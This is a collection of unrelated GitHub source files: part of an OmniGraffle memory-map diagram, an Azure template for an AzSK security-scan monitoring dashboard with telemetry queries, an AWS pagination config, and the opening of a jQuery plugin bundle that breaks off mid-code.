<key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>shadow</key> <dict> <key>Draws</key> <string>NO</string> </dict> <key>stroke</key> <dict> <key>Draws</key> <string>NO</string> </dict> </dict> <key>Text</key> <dict> <key>Align</key> <integer>0</integer> <key>Pad</key> <integer>0</integer> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fmodern\fcharset0 CourierNewPSMT;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural \f0\fs20 \cf0 0xC0000000}</string> <key>VerticalPad</key> <integer>0</integer> </dict> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23596</integer> <key>Points</key> <array> <string>{539, 392.00004577636719}</string> <string>{470, 392.00006103515625}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23597</integer> <key>Points</key> <array> <string>{539, 312.00004577636719}</string> <string>{470, 312.00006103515625}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23598</integer> <key>Points</key> <array> <string>{539, 272.00004577636719}</string> <string>{470, 272.00006103515625}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23599</integer> <key>Points</key> <array> <string>{539, 193.00009155273438}</string> <string>{470, 193.00010681152344}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23600</integer> <key>Points</key> <array> <string>{539, 151.00009155273438}</string> <string>{470, 151.00010681152344}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Class</key> <string>LineGraphic</string> <key>FontInfo</key> <dict> <key>Font</key> <string>CourierNewPSMT</string> <key>Size</key> <real>10</real> </dict> <key>ID</key> <integer>23601</integer> <key>Points</key> <array> <string>{539, 432.00004447265746}</string> <string>{470, 432.00004447265746}</string> </array> <key>Style</key> <dict> <key>stroke</key> <dict> <key>HeadArrow</key> <string>0</string> <key>Legacy</key> <true/> <key>LineType</key> <integer>1</integer> <key>TailArrow</key> <string>0</string> </dict> </dict> </dict> <dict> <key>Bounds</key> <string>{{301, 194.00005973144653}, {152, 78.999984741210938}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23602</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Primary ROM (16M)}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{301, 73.999998696290277}, {152, 78.000045776367188}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23603</integer> <key>Magnets</key> <array> <string>{1, 1}</string> <string>{1, -1}</string> <string>{-1, -1}</string> <string>{-1, 1}</string> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.14318971335887909</real> </dict> <key>shadow</key> <dict> <key>Beneath</key> <string>YES</string> <key>Draws</key> <string>NO</string> <key>Fuzziness</key> <real>0.82475340366363525</real> <key>ShadowVector</key> <string>{0, 0}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>b</key> <string>0.608438</string> <key>g</key> <string>0.608438</string> <key>r</key> <string>0.608438</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Secondary ROM (16M)}</string> </dict> </dict> <dict> <key>Bounds</key> <string>{{301, 33}, {152, 399.00003051757812}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>FitText</key> <string>Clip</string> <key>Flow</key> <string>Clip</string> <key>FontInfo</key> <dict> <key>Font</key> <string>Helvetica</string> <key>Size</key> <real>9</real> </dict> <key>ID</key> <integer>23604</integer> <key>ImageID</key> <integer>2</integer> <key>Opacity</key> <real>0.062973484396934509</real> <key>Scale</key> <real>0.3437703549861908</real> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>image fill</key> <dict> <key>ImageSizing</key> <integer>2</integer> <key>Opacity</key> <real>0.062973484396934509</real> <key>Scale</key> <real>0.3437703549861908</real> </dict> <key>shadow</key> <dict> <key>Color</key> <dict> <key>a</key> <string>0.51</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> <key>Fuzziness</key> <real>8.1470527648925781</real> <key>ShadowVector</key> <string>{0, 3}</string> </dict> <key>stroke</key> <dict> <key>Color</key> <dict> <key>a</key> <string>0.2</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> </dict> </dict> <key>TiledImage</key> <string>YES</string> <key>Wrap</key> <string>NO</string> </dict> <dict> <key>Bounds</key> <string>{{295, 8}, {163, 432}}</string> <key>Class</key> <string>ShapedGraphic</string> <key>ID</key> <integer>23605</integer> <key>Magnets</key> <array> <string>{0, 1}</string> <string>{0, -1}</string> <string>{1, 0}</string> <string>{-1, 0}</string> </array> <key>Shape</key> <string>Rectangle</string> <key>Style</key> <dict> <key>fill</key> <dict> <key>FillType</key> <integer>2</integer> <key>GradientAngle</key> <real>90</real> <key>GradientColor</key> <dict> <key>b</key> <string>0.78131</string> <key>g</key> <string>0.651832</string> <key>r</key> <string>0.627907</string> </dict> <key>MiddleFraction</key> <real>0.8171502947807312</real> </dict> <key>shadow</key> <dict> <key>Color</key> <dict> <key>a</key> <string>0.2</string> <key>b</key> <string>0</string> <key>g</key> <string>0</string> <key>r</key> <string>0</string> </dict> </dict> </dict> <key>Text</key> <dict> <key>Text</key> <string>{\rtf1\ansi\ansicpg1252\cocoartf1138\cocoasubrtf470 {\fonttbl\f0\fswiss\fcharset0 Helvetica;} {\colortbl;\red255\green255\blue255;} \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\pardirnatural\qc \f0\fs24 \cf0 Virtual Memory}</string> </dict> <key>TextPlacement</key> <integer>0</integer> </dict> </array> <key>GridInfo</key> <dict> <key>ShowsGrid</key> <string>YES</string> </dict> <key>GuidesLocked</key> <string>NO</string> <key>GuidesVisible</key> <string>YES</string> <key>HPages</key> <integer>1</integer> <key>ImageCounter</key> <integer>3</integer> <key>ImageLinkBack</key> <array> <dict/> </array> <key>ImageList</key> <array> <string>image2.png</string> </array> <key>KeepToScale</key> <false/> <key>Layers</key> <array> <dict> <key>Lock</key> <string>NO</string> <key>Name</key> <string>Layer 1</string> <key>Print</key> <string>YES</string> <key>View</key> <string>YES</string> </dict> </array> <key>LayoutInfo</key> <dict> <key>Animate</key> <string>NO</string> <key>circoMinDist</key> <real>18</real> <key>circoSeparation</key> <real>0.0</real> <key>layoutEngine</key> <string>dot</string> <key>neatoSeparation</key> <real>0.0</real> <key>twopiSeparation</key> <real>0.0</real> </dict> <key>LinksVisible</key> <string>NO</string> <key>MagnetsVisible</key> <string>NO</string> <key>MasterSheets</key> <array/> <key>ModificationDate</key> <string>2012-07-05 19:06:37 +0000</string> <key>Modifier</key> <string>Beth Scott</string> <key>NotesVisible</key> <string>NO</string> <key>Orientation</key> <integer>2</integer> <key>OriginVisible</key> <string>NO</string> <key>PageBreaks</key> <string>YES</string> <key>PrintInfo</key> <dict> <key>NSBottomMargin</key> <array> <string>float</string> <string>41</string> </array> <key>NSHorizonalPagination</key> <array> <string>coded</string> <string>BAtzdHJlYW10eXBlZIHoA4QBQISEhAhOU051bWJlcgCEhAdOU1ZhbHVlAISECE5TT2JqZWN0AIWEASqEhAFxlwCG</string> </array> <key>NSLeftMargin</key> <array> <string>float</string> <string>18</string> </array> <key>NSPaperSize</key> <array> <string>size</string> <string>{612.00000953674316, 792}</string> </array> <key>NSPrintReverseOrientation</key> <array> <string>int</string> <string>0</string> </array> <key>NSRightMargin</key> <array> <string>float</string> <string>18</string> </array> <key>NSTopMargin</key> <array> <string>float</string> <string>18</string> </array> </dict> <key>PrintOnePage</key> <false/> <key>ReadOnly</key> <string>NO</string> <key>RowAlign</key> <integer>1</integer> <key>RowSpacing</key> <real>24</real> <key>SheetTitle</key> <string>Canvas 1</string> <key>SmartAlignmentGuidesActive</key> <string>YES</string> <key>SmartDistanceGuidesActive</key> <string>YES</string> <key>UniqueID</key> <integer>1</integer> <key>UseEntirePage</key> <false/> <key>VPages</key> <integer>1</integer> <key>WindowInfo</key> <dict> <key>CurrentSheet</key> <integer>0</integer> <key>ExpandedCanvases</key> <array> <dict> <key>name</key> <string>Canvas 1</string> </dict> </array> <key>Frame</key> <string>{{117, -25}, {1436, 878}}</string> <key>ListView</key> <true/> <key>OutlineWidth</key> <integer>142</integer> <key>RightSidebar</key> <false/> <key>ShowRuler</key> <true/> <key>Sidebar</key> <true/> <key>SidebarWidth</key> <integer>120</integer> <key>VisibleRegion</key> <string>{{-378, -144}, {1301, 739}}</string> <key>Zoom</key> <real>1</real> <key>ZoomValues</key> <array> <array> <string>Canvas 1</string> <real>1</real> <real>4</real> </array> </array> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
{ "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "SubscriptionId": { "type": "string", "metadata": { "description": "Subscrption Id where Org Policy is setup and monitoring dashboard needs to be setup." } }, "ResourceGroups": { "type": "string", "metadata": { "description": "ResourceGroup name where Org Policy is present and monitoring dashboard resource need to be setup." } }, "AIName": { "type": "string", "metadata": { "description": "Org Policy application insight Resource name." } }, "DashboardName":{ "type": "string", "metadata": { "description": "Monitoring dashboard resource name" }, "defaultValue" : "DevOpsKitMonitoring" }, "DashboardTitle":{ "type": "string", "metadata": { "description": "Monitoring dashboard Title" }, "defaultValue" : "DevOps Kit Monitoring Dashboard" }, "Location":{ "type": "string", "metadata": { "description": "Monitoring dashboard resource location" }, "defaultValue" : "DevOps Kit Monitoring Dashboard" } }, "resources": [ { "properties": { "lenses": { "0": { "order": 0, "parts": { "0": { "position": { "x": 0, "y": 0, "colSpan": 5, "rowSpan": 4 }, "metadata": { "inputs": [], "type": "Extension[azure]/HubsExtension/PartType/MarkdownPart", "settings": { "content": { "settings": { "content": "__How to use this dashboard:__\n\nThis dashboard lets you monitor the operations for various DevOps Kit workflows at your org. Each blade lets you monitor the health of some aspect of your DevOps Kit deployment (e.g., CA issues, anomalous control drifts, evaluation errors, etc.). You can click on the 'Open Chart in Analytics' link at the top right corner of any view to see the underlying data/query. (Note that some views will show 'error retrieving data' initially.)\n\n__Useful Links__: \n<br>\n[Updates on Org Policy](https://aka.ms/devopskit/orgpolicy/updates)\n<br>[Release Notes](https://aka.ms/devopskit/releasenotes)\n<br>[Org Policy Docs](https://aka.ms/devopskit/orgpolicy/docs)\n<br>[DevOps Kit Docs](http://aka.ms/devopskit/docs)\n<br>[Support](mailto:azsksup@microsoft.com)\n\n", "title": "Monitoring your Org AzSK Setup", "subtitle": "Instructions" } } } } }, "1": { "position": { "x": 5, "y": 0, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "customEvents\r\n| where timestamp > ago(15d) and name == \"Control Scanned\" and customDimensions.ScanSource== \"Runbook\"\r\n| summarize count() by bin(timestamp, 1d),tostring(customDimensions.SubscriptionId)\r\n| summarize TotalCount=count() by timestamp\r\n| render barchart\n" }, { "name": "Dimensions", "value": { "xAxis": { "name": "timestamp", "type": "DateTime" }, "yAxis": [ { "name": "TotalCount", "type": "Int64" } ], "splitBy": [], "aggregation": "Sum" } }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsBarChartPart", "settings": { "content": { "dashboardPartTitle": "CA - Subs Reporting Scans", "dashboardPartSubTitle": "Number of subscriptions reporting CA scans" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "2": { "position": { "x": 11, "y": 0, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "//Negative Drift\nlet ControlResults = customEvents\n| where timestamp < ago(2d) and timestamp >= ago(4d)\n| where name == \"Control Scanned\" and customDimensions.HasAttestationReadPermissions == \"True\" and customDimensions.HasRequiredAccess == \"True\"\n| summarize arg_max(timestamp, *) by tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName), tostring(customDimensions.ControlId)\n| project tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName),tostring(customDimensions.ResourceId), tostring(customDimensions.ControlId), Oldresult =tostring(customDimensions.VerificationResult)\n| join\n(\n customEvents\n | where timestamp >= ago(2d)\n | where name == \"Control Scanned\" and customDimensions.HasAttestationReadPermissions == \"True\" and customDimensions.HasRequiredAccess == \"True\"\n | summarize arg_max(timestamp, *) by tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName), tostring(customDimensions.ControlId)\n | project tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName),tostring(customDimensions.ResourceId), tostring(customDimensions.ControlId), Latestresult = tostring(customDimensions.VerificationResult)\n)\non customDimensions_SubscriptionId, customDimensions_SubscriptionName,customDimensions_ResourceId, customDimensions_ControlId\n| project tostring(customDimensions_SubscriptionId), tostring(customDimensions_SubscriptionName),tostring(customDimensions_ResourceId), tostring(customDimensions_ControlId),Oldresult,Latestresult;\nlet OldScan = ControlResults\n| where Oldresult == \"Passed\"\n| summarize OldScanCount = count() by tostring(customDimensions_ControlId);\nlet LatestScan = ControlResults\n| where Latestresult == \"Passed\"\n| summarize LatestScanCount = count() by tostring(customDimensions_ControlId);\nOldScan\n| join\n(\n LatestScan\n)\non customDimensions_ControlId\n| project ControlId=tostring(customDimensions_ControlId),OldStatusCount=OldScanCount,LatestStatusCount=LatestScanCount\n| where OldStatusCount != LatestStatusCount and LatestStatusCount < OldStatusCount\n| extend Change =OldStatusCount-LatestStatusCount\n| order by Change desc\n| project ControlId,OldStatusCount,LatestStatusCount,Change\n" }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "PartId", "value": "038d1915-4387-402f-88e1-0b0f029afc36" }, { "name": "PartTitle", "value": "Analytics" }, { "name": "PartSubTitle", "value": "" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsGridPart", "settings": { "content": { "dashboardPartTitle": "Negative Drift for Controls", "dashboardPartSubTitle": "Shows controls drifting from 'passed' to 'not passed' in the 2 Days" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "3": { "position": { "x": 17, "y": 0, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "exceptions\n| where timestamp > ago(7d)\n| summarize Count=count() by tostring(outerMessage),Date=bin(timestamp,1d)\n" }, { "name": "Dimensions", "value": { "xAxis": { "name": "Date", "type": "DateTime" }, "yAxis": [ { "name": "Count", "type": "Int64" } ], "splitBy": [ { "name": "outerMessage", "type": "String" } ], "aggregation": "Sum" } }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsBarChartPart", "settings": { "content": { "dashboardPartTitle": "Exceptions Summary", "dashboardPartSubTitle": "Errors during DevOps Kit cmdlet execution" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "4": { "position": { "x": 23, "y": 0, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "customEvents\r\n| where timestamp > ago(2d) and name == \"Control Scanned\" \r\n| summarize arg_max(timestamp, *) \r\n| project OrgAzSKVersion=tostring(customDimensions.OrgVersion),LatestAzSKVersion=tostring(tostring(customDimensions.LatestVersion))\r\n" }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsGridPart", "settings": { "content": { "PartTitle": "Current Org AzSK Version Vs Latest AzSK Version", "PartSubTitle": "To update org version refer: http://aka.ms/deveopskit/updateOrgAzSKVersion" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "5": { "position": { "x": 0, "y": 4, "colSpan": 5, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "resourceGroup", "isOptional": true }, { "name": "id", "value": "[concat(subscription().id,'/resourceGroups/',parameters('ResourceGroups'))]", "isOptional": true } ], "type": "Extension/HubsExtension/PartType/ResourceGroupMapPinnedPart" } }, "6": { "position": { "x": 5, "y": 4, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "customEvents\r\n| where timestamp > ago(90d) \r\n| where customDimensions.ScanSource ==\"Runbook\" and name == \"Control Scanned\"\r\n| summarize LastScanDate = max(timestamp) by tostring(customDimensions.SubscriptionId),tostring(customDimensions.SubscriptionName)\r\n| where LastScanDate <= ago(2d)\r\n| order by LastScanDate desc \r\n| project SubId = customDimensions_SubscriptionId,SubName= customDimensions_SubscriptionName,LastScanDate\n" }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsGridPart", "settings": { "content": { "dashboardPartTitle": "CA - No Recent Scans", "dashboardPartSubTitle": "Subscriptions that have not reported scan events in last the 2 days" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "7": { "position": { "x": 11, "y": 4, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "//Positive Drift\nlet ControlResults = customEvents\n| where timestamp < ago(2d) and timestamp >= ago(4d)\n| where name == \"Control Scanned\" and customDimensions.HasAttestationReadPermissions == \"True\" and customDimensions.HasRequiredAccess == \"True\"\n| summarize arg_max(timestamp, *) by tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName), tostring(customDimensions.ControlId)\n| project tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName),tostring(customDimensions.ResourceId), tostring(customDimensions.ControlId), oldresult =tostring(customDimensions.VerificationResult)\n| join\n(\n customEvents\n | where timestamp >= ago(2d)\n | where name == \"Control Scanned\" and customDimensions.HasAttestationReadPermissions == \"True\" and customDimensions.HasRequiredAccess == \"True\"\n | summarize arg_max(timestamp, *) by tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName), tostring(customDimensions.ControlId)\n | project tostring(customDimensions.SubscriptionId), tostring(customDimensions.SubscriptionName),tostring(customDimensions.ResourceId), tostring(customDimensions.ControlId), Latestresult = tostring(customDimensions.VerificationResult)\n)\non customDimensions_SubscriptionId, customDimensions_SubscriptionName,customDimensions_ResourceId, customDimensions_ControlId\n| project tostring(customDimensions_SubscriptionId), tostring(customDimensions_SubscriptionName),tostring(customDimensions_ResourceId), tostring(customDimensions_ControlId),oldresult,Latestresult;\nlet oldScan = ControlResults\n| where oldresult == \"Passed\"\n| summarize oldScanCount = count() by tostring(customDimensions_ControlId);\nlet LatestScan = ControlResults\n| where Latestresult == \"Passed\"\n| summarize LatestScanCount = count() by tostring(customDimensions_ControlId);\noldScan\n| join\n(\n LatestScan\n)\non customDimensions_ControlId\n| project ControlId=tostring(customDimensions_ControlId),OldStatusCount=oldScanCount,LatestStatusCount=LatestScanCount\n| where OldStatusCount != LatestStatusCount and LatestStatusCount > OldStatusCount\n| extend Change =LatestStatusCount-OldStatusCount\n| order by Change desc\n| project ControlId,OldStatusCount,LatestStatusCount,Change\n" }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsGridPart", "settings": { "content": { "dashboardPartTitle": "Positive Drift for Controls", "dashboardPartSubTitle": "Shows controls drifting from 'not passed' to 'passed' in the 2 days" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } }, "8": { "position": { "x": 17, "y": 4, "colSpan": 6, "rowSpan": 4 }, "metadata": { "inputs": [ { "name": "ComponentId", "value": { "SubscriptionId": "[parameters('SubscriptionId')]", "ResourceGroup": "[parameters('ResourceGroups')]", "Name": "[parameters('AIName')]" } }, { "name": "Query", "value": "customEvents\r\n| where name == \"CA Job Error\"\r\n| where timestamp > ago(7d)\r\n| extend SubId=tostring(customDimensions.SubscriptionId)\r\n| summarize Count=count() by tostring(customDimensions.ErrorRecord),Date=bin(timestamp,1d)\r\n| order by Date,Count" }, { "name": "Dimensions", "value": { "xAxis": { "name": "Date", "type": "DateTime" }, "yAxis": [ { "name": "Count", "type": "Int64" } ], "splitBy": [ { "name": "customDimensions_ErrorRecord", "type": "String" } ], "aggregation": "Sum" } }, { "name": "Version", "value": "1.0" }, { "name": "DashboardId", "value": "[resourceId(parameters('ResourceGroups'),'Microsoft.Portal/dashboards', parameters('DashboardName'))]" }, { "name": "resourceTypeMode", "value": "components" } ], "type": "Extension/AppInsightsExtension/PartType/AnalyticsBarChartPart", "settings": { "content": { "dashboardPartTitle": "CA Exceptions", "dashboardPartSubTitle": "Errors during CA runbook execution" } }, "asset": { "idInputName": "ComponentId", "type": "ApplicationInsights" } } } } } } }, "name": "[parameters('DashboardName')]", "type": "Microsoft.Portal/dashboards", "location": "[parameters('Location')]", "tags": { "hidden-title": "[parameters('DashboardTitle')]" }, "apiVersion": "2015-08-01-preview" } ] }
{ "pile_set_name": "Github" }
{ "pagination": { "ListConferenceProviders": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListDeviceEvents": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListSkills": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListSkillsStoreCategories": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListSkillsStoreSkillsByCategory": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListSmartHomeAppliances": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "ListTags": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchAddressBooks": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchContacts": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchDevices": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchProfiles": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchRooms": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchSkillGroups": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" }, "SearchUsers": { "input_token": "NextToken", "output_token": "NextToken", "limit_key": "MaxResults" } } }
{ "pile_set_name": "Github" }
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) : typeof define === 'function' && define.amd ? define(['jquery'], factory) : (global = global || self, factory(global.jQuery)); }(this, (function ($) { 'use strict'; $ = $ && Object.prototype.hasOwnProperty.call($, 'default') ? $['default'] : $; var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; function createCommonjsModule(fn, module) { return module = { exports: {} }, fn(module, module.exports), module.exports; } var check = function (it) { return it && it.Math == Math && it; }; // https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 var global_1 = // eslint-disable-next-line no-undef check(typeof globalThis == 'object' && globalThis) || check(typeof window == 'object' && window) || check(typeof self == 'object' && self) || check(typeof commonjsGlobal == 'object' && commonjsGlobal) || // eslint-disable-next-line no-new-func Function('return this')(); var fails = function (exec) { try { return !!exec(); } catch (error) { return true; } }; // Thank's IE8 for his funny defineProperty var descriptors = !fails(function () { return Object.defineProperty({}, 'a', { get: function () { return 7; } }).a != 7; }); var nativePropertyIsEnumerable = {}.propertyIsEnumerable; var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; // Nashorn ~ JDK8 bug var NASHORN_BUG = getOwnPropertyDescriptor && !nativePropertyIsEnumerable.call({ 1: 2 }, 1); // `Object.prototype.propertyIsEnumerable` method implementation // https://tc39.github.io/ecma262/#sec-object.prototype.propertyisenumerable var f = NASHORN_BUG ? function propertyIsEnumerable(V) { var descriptor = getOwnPropertyDescriptor(this, V); return !!descriptor && descriptor.enumerable; } : nativePropertyIsEnumerable; var objectPropertyIsEnumerable = { f: f }; var createPropertyDescriptor = function (bitmap, value) { return { enumerable: !(bitmap & 1), configurable: !(bitmap & 2), writable: !(bitmap & 4), value: value }; }; var toString = {}.toString; var classofRaw = function (it) { return toString.call(it).slice(8, -1); }; var split = ''.split; // fallback for non-array-like ES3 and non-enumerable old V8 strings var indexedObject = fails(function () { // throws an error in rhino, see https://github.com/mozilla/rhino/issues/346 // eslint-disable-next-line no-prototype-builtins return 